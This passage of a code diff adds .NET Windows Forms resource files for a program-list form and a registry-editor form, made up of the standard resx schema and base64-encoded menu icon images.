+8tD7sIriWeQFWxsk61lI1rYuUD1jsMmSA6NRs5zHtMGd34saxCefAs/2mspryD8tQZjIGsrXtcLq
+5ZYYNo1UMzvYVVp5YDHnMW32C6lB3LoHfKvPVB4/c9dngSfSRvLJ2hYMABK1LQ1UMzu7LbGxvFZt
+MOf52XsHxGB7G/j5BYi6unflZ+4clCffiZKgOHu7JfnVS25Yfc81TTWzo/SOPLYir1WbOEkT3TtB
+gyiiPKxcbH5INbMj9YaeWZXXqk2cJWmiIwrbO6rsXvKVX73YDImapt+pZnaIvJiLvFZt4q09+kHs
+oRD5lZomWHnXKVDN7Ei+UCZXea3a8G4fCeK2+gzsZ2dnp1B5sho3qWZ2iDQJIHd57SWl3gWdADCd
+sBJFiGx+8k5IVDeYByD7hsSC5E1T6A6EiXDu8o2QuNBgnkLq9KBI8pg2+9NJDeLj2xAmwjnKQ7zK
+Yf4QkwAeF0Ve3W2S8zdu6f6NI/1Q+LLbsnzivAMSVXbzMqrObSzKW3lJcUwbRG7M6gcxNQd/EWGL
+8sCfY6aoZnZw6GRFHlti7CoPiJHP0an5/1WbiI0F7iOdO0E+hz+cgigGYSIfP0dWpd1BNbODzVza
+M8AZyeNhBPt5bIn3oievVZsIyXW9OyH9+BSWiayp/DtMBMrKrE3zcGJmJI8nKTyMYD+PLTFiJK9V
+G8z5yPWb/wWxlRTgT1KyY1TcQB7iZ+vvUz1zcNxHJ2a68toxMNHkVft5+emS2lVaeUmFL7nUtMGd
+R3nOinylbZMrrz1D9axB5BeN5LVjIB5GsJ+32hLjA4s5j2ljbedtEKuo+5xqWSft9Z4i4oKRvNEx
+MI+XlK48X1mX4s8z+c1NcVZ5tPL1EKusC1Gd/CDiD45Knq+o+4Jq5A+eQ4n4N0cg/x2w7CtUozBw
+0Jpyep+UTP7tum/5N5jiDHc1cORN5BdLkTZF23k9cFZJ5IViy8cq6pMFP7BWkRwdp3HcJ9jYzYLl
+yUsK6zxXXnOK/nzpSNV6zuDEbLXWzeUsf9bGYXuQ8xv2MMAmC4dORH4aRx84PVipbhRXqp2ZxIXG
+DBEX41X234j8Q2yJsau03Jgdc8wxBpSV/Qvb4S4p0nunsgAAAABJRU5ErkJgggs=</value></data></root>

Server.Forms.FormPrograms.resx

@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="killRemoveToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="toolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAVQIAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAAB90lEQVRoQ+2WvU4CQRhF9z1sjYW+gIU/WGqpsdCEN1A6KyXBwsQnsNHG0hBfSlpNtBEk
+LOPMegeH5bJswh2CZk9yEoVhzjfAriYVFRUVI8x20rKaGd5i+XJhByszvHexhzCNvQPTqHWsZkF2
+zNnOPvLzk23IQ/E8r70gPz80sACRnx+2+SJEXge5GKOInB4WiyFyelgshsjpYbEYIqeHxWKInB4W
+iyFyelgshsjpYbEYIqeHxUKH9XX6eGiZNcjpYTHv4L5p+r2uSa9P6fPO9OrI9LufZvB4Q5/3IqeH
+xZzZ8P3+j1MO4Yf364oOgZweFhvWN8YGy7S/p83j0Rr3M1vjXhvu5UVOD4s508vDyQHxSeTf+dFz
+rRO6lxM5PSzm5YfoZcOOP1Y8vBM5PSwWSg8RWmJ4J3J6WCxvdoj8u+786pUa3omcHhbLm33npx2g
+4BYbipweFgulF2yo+wqVOARyeljMy+82Uy7iGYdATg+LOYtulUW3WLaXEzk9LPY//pDdXfwOhnd+
+Yk3uk0gfmhNrvMjpYTFvdogpw3v9IYqGdyKnh8VC//S/00qR08NiMUROD4vFEDk9LBZD5PTYzT/y
+MblbyTtyeuzmzzSqtY2cHnuANesriap8M7vJKnJxMJvJij3Ek40pv05ur3b04SsqKpaNJPkGd5Bv
+o93sxQEAAAAASUVORK5CYIIL</value></data><data name="toolStripMenuItem2.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAVQIAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsRAAALEQF/
+ZF+RAAAB90lEQVRoQ+2WvU4CQRhF9z1sjYW+gIU/WGqpsdCEN1A6KyXBwsQnsNHG0hBfSlpNtBEk
+LOPMegeH5bJswh2CZk9yEoVhzjfAriYVFRUVI8x20rKaGd5i+XJhByszvHexhzCNvQPTqHWsZkF2
+zNnOPvLzk23IQ/E8r70gPz80sACRnx+2+SJEXge5GKOInB4WiyFyelgshsjpYbEYIqeHxWKInB4W
+iyFyelgshsjpYbEYIqeHxUKH9XX6eGiZNcjpYTHv4L5p+r2uSa9P6fPO9OrI9LufZvB4Q5/3IqeH
+xZzZ8P3+j1MO4Yf364oOgZweFhvWN8YGy7S/p83j0Rr3M1vjXhvu5UVOD4s508vDyQHxSeTf+dFz
+rRO6lxM5PSzm5YfoZcOOP1Y8vBM5PSwWSg8RWmJ4J3J6WCxvdoj8u+786pUa3omcHhbLm33npx2g
+4BYbipweFgulF2yo+wqVOARyeljMy+82Uy7iGYdATg+LOYtulUW3WLaXEzk9LPY//pDdXfwOhnd+
+Yk3uk0gfmhNrvMjpYTFvdogpw3v9IYqGdyKnh8VC//S/00qR08NiMUROD4vFEDk9LBZD5PTYzT/y
+MblbyTtyeuzmzzSqtY2cHnuANesriap8M7vJKnJxMJvJij3Ek40pv05ur3b04SsqKpaNJPkGd5Bv
+o93sxQEAAAAASUVORK5CYIIL</value></data></root>

Server.Forms.FormRegedit.resx

@@ -0,0 +1,596 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="binaryValueToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA5wMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADiUlEQVRoQ+2XW0gUURjHt4t0F7KHMHvpLbpQBJFJIZE9VBB0o6CiKCrIp9QUNzNcEe1e
+lNoVii4SXaiwB6OM0HUtaSVKK7WMLiZ2URLtZnzNdzxnOjN9bnCaPfOyf/jBnPlmvvP/786ZPeuJ
+KCIN2l39C8JEAZ8ivCIm/m8Kg+Zx+EPIEztFXQdAka4Q8sRO0dwF+kLIEzsFBtAWQp7YKUQALSHk
+iZ1CDhD2EPLETmEPENYQ8sROQQVAwhJCntgpKPMCx0PIEzsFZVxGDsFtqMs+uW64DXVRTXXCbaiL
+aqoTbkNdVFOdcBvqoprqhNtQF9VUJ9yGuqimgp33vsHmG+2w+Pw7y/kN1z5B4rEXsOjsW8jz/7TU
+1hu16Yefw6ziJvDe6bbUKLgNdVFNBZ6UChNxbkVJK/RPrYTJ++thZNYDGJf/CHYFemsrL7bCkIwA
+LL3QAvFFDRDtvQ++ih/mvRTchrqopjLzTr2yBBid85B9unicWtbJasmlHWwcmxOE+MIGdlwQ6IFh
+mdWw5FyLeS8Ft6EuqqmMPUDUNr/5SKFJrOEnL2pJxvXi2jhfrRm2L7gNdVFNZewB8BgfEWqMx3i9
+qI3NrYUZR3q/kb7gNtRFNZWxB+iX+neAZSW9Y6zJAeKMADMLG80xBbehLqqpjD3AcG81LDzzhh37
+Kr6z2rqrH9l4aGYAEor+GI7JroH5p1+bYwpuQ11UUxl7gKkHn8KY3CCklH2BpJPNEJXuh2zjdYu1
+Sfvq2MLdUtoOqy61wYC0Ski71WneS8FtqItqKmMPkHX3K0w0jA5Kr4KYHTWw5nKbWcsxvpFph56x
+Vym+rdZe+WDW+oLbUBfVVCfchrqopjrhNtRFNZUJtTXIuN0Fs482sfrG65/N8/lVPexHbrWxDpJv
+tlvuscNtqItqKpC3Bvg+l7cG3vJuGJxRxc5jHd9Am3gIsW4Q+bVKwW2oi2oqCLU1mHuiGQam+dmn
+jeM5x1/C+D2PzXsR1wOE2hpMOVAPI4xvRNQw2CjjrSTGiOsB7AbkrcGEvU/YIyVq+BjJY8T1AKG2
+BvhbEL3dGgDXgRgjrgcItTXA/T4+Yrg2cLzAOI91cS3ieoBQWwPc/wiDW41tRawvCInGQpbvdz3A
+v7YGy0ves4WLIROKGyGv0vr30vUAOuA21EU11Qm3oS6qqU64DXVRTXXCbaiLaqoTbiOiiJyXx/Mb
+cUdKWRcI2RQAAAAASUVORK5CYIIL</value></data><data name="imageRegistryKeyTypeList.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAu
+MC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAA
+ACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkD
+AAAADwMAAABkCQAAAk1TRnQBSQFMAgEBAgEAAZgBBQGYAQUBEAEAARABAAT/AQkBEAj/AUIBTQE2
+AQQGAAE2AQQCAAEoAwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYAB
+AAKAAgADwAEAAcAB3AHAAQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEA
+AykBAANVAQADTQEAA0IBAAM5AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8B
+AAHWAucBAAGQAakBrQIAAf8BMwMAAWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHM
+AgABMwH/AgABZgMAAWYBMwIAAmYCAAFmAZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgAC
+mQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHMAWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZ
+AgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEAATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8B
+MwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEzAWYCAAEzAWYBMwEAATMCZgEAATMBZgGZ
+AQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZAWYBAAEzApkBAAEzAZkBzAEAATMB
+mQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLMAQABMwHMAf8BAAEzAf8BMwEA
+ATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEAAWYBAAFmAQABZgEAAZkB
+AAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEAAWYBMwHMAQABZgEz
+Af8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZAWYBAAFmApkB
+AAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/AQABZgH/
+AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEAAZkB
+AAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm
+ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwB
+AAKZAf8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIA
+AZkB/wEzAQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYB
+AAHMAQABmQEAAcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEz
+Af8BAAHMAWYCAAHMAWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwB
+mQEzAQABzAGZAWYBAAHMApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEA
+A8wBAALMAf8BAAHMAf8CAAHMAf8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwB
+AAEzAQAB/wEAAWYBAAH/AQABmQEAAcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEA
+Af8BMwH/AQAB/wFmAgAB/wFmATMBAAHMAmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkC
+AAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZAcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHM
+AWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEzAQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8B
+AAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFmAQABIQEAAaUBAANfAQADdwEAA4YBAAOW
+AQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHwAfsB/wEAAaQCoAEAA4ADAAH/AgAB
+/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0EAA+8DAATvAwAG7wMABO8DAAPvIAAB7wL/A+8E/wPv
+Av8C7wL/A+8E/wPvAv8B7yAAAe8O/wLvDv8B7yAAAQcD/wH0Bf8B9AT/Ae8BBwL/AawC/wHVAf8C
+rAEZAf8BrAL/Ae8gAAHwAf8BvQL5AeMBRwH/AUcBFwL5AZQC/wHvAfAC/wGsAv8B1QH/AdUB9AHZ
+Af8BrAL/Ae8gAAHwAf8BFgHjAf8BlAFHAf8BRwGUAv8B+QL/Ae8B8AL/AawB/wH0AdUB/wGsARkB
+2QEZAawC/wHvIAAB8AH/Ab0B+QIWARcB/wFHAb0C/wEXAb0B/wHvAfAB/wHTAawB/wHTAawB/wHV
+AawB/wHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAC/wEXAb0B
+4wEWAf8BRwH5Ab0BlAEXAv8B7wHwAv8BrAH/AqwBGQH/AdMB/wHTAawC/wHvIAAB8AH0Af8BvQKU
+Av8BRwG9ApQD/wHvAfAB9AH/AawB/wGsAf8BrAH/AdMBGQHVARkB1QH/Ae8gAAHwAfQG/wFHAb0B
+/wXvAfAB9AH/AawB/wGsAf8B1QEZAdMB9AXvIAAB8AL0Bf8BRwG9Af8B7wHxAfMB9AHvAfAB9AHT
+AawB/wHcAawBGQHVAawB/wHvAfEB8wH0Ae8gAAHwAfMC9Af/Ae8B8wH0Ae8BAAHwAfMC9Af/Ae8B
+8wH0Ae8hAAHwAfEB8wP0Bf8B7wH0Ae8CAAHwAfEB8wP0Bf8B7wH0Ae8iAAXwBQcD7wMABfAFBwPv
+IwABQgFNAT4HAAE+AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEABP8EAAEcATgBHAE4XQAB
+AQEAAQEFAAEDAQABAwUAAQcBAAEHGgAL</value></data><data name="binaryValueToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA5wMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADiUlEQVRoQ+2XW0gUURjHt4t0F7KHMHvpLbpQBJFJIZE9VBB0o6CiKCrIp9QUNzNcEe1e
+lNoVii4SXaiwB6OM0HUtaSVKK7WMLiZ2URLtZnzNdzxnOjN9bnCaPfOyf/jBnPlmvvP/786ZPeuJ
+KCIN2l39C8JEAZ8ivCIm/m8Kg+Zx+EPIEztFXQdAka4Q8sRO0dwF+kLIEzsFBtAWQp7YKUQALSHk
+iZ1CDhD2EPLETmEPENYQ8sROQQVAwhJCntgpKPMCx0PIEzsFZVxGDsFtqMs+uW64DXVRTXXCbaiL
+aqoTbkNdVFOdcBvqoprqhNtQF9VUJ9yGuqimgp33vsHmG+2w+Pw7y/kN1z5B4rEXsOjsW8jz/7TU
+1hu16Yefw6ziJvDe6bbUKLgNdVFNBZ6UChNxbkVJK/RPrYTJ++thZNYDGJf/CHYFemsrL7bCkIwA
+LL3QAvFFDRDtvQ++ih/mvRTchrqopjLzTr2yBBid85B9unicWtbJasmlHWwcmxOE+MIGdlwQ6IFh
+mdWw5FyLeS8Ft6EuqqmMPUDUNr/5SKFJrOEnL2pJxvXi2jhfrRm2L7gNdVFNZewB8BgfEWqMx3i9
+qI3NrYUZR3q/kb7gNtRFNZWxB+iX+neAZSW9Y6zJAeKMADMLG80xBbehLqqpjD3AcG81LDzzhh37
+Kr6z2rqrH9l4aGYAEor+GI7JroH5p1+bYwpuQ11UUxl7gKkHn8KY3CCklH2BpJPNEJXuh2zjdYu1
+Sfvq2MLdUtoOqy61wYC0Ski71WneS8FtqItqKmMPkHX3K0w0jA5Kr4KYHTWw5nKbWcsxvpFph56x
+Vym+rdZe+WDW+oLbUBfVVCfchrqopjrhNtRFNZUJtTXIuN0Fs482sfrG65/N8/lVPexHbrWxDpJv
+tlvuscNtqItqKpC3Bvg+l7cG3vJuGJxRxc5jHd9Am3gIsW4Q+bVKwW2oi2oqCLU1mHuiGQam+dmn
+jeM5x1/C+D2PzXsR1wOE2hpMOVAPI4xvRNQw2CjjrSTGiOsB7AbkrcGEvU/YIyVq+BjJY8T1AKG2
+BvhbEL3dGgDXgRgjrgcItTXA/T4+Yrg2cLzAOI91cS3ieoBQWwPc/wiDW41tRawvCInGQpbvdz3A
+v7YGy0ves4WLIROKGyGv0vr30vUAOuA21EU11Qm3oS6qqU64DXVRTXXCbaiLaqoTbiOiiJyXx/Mb
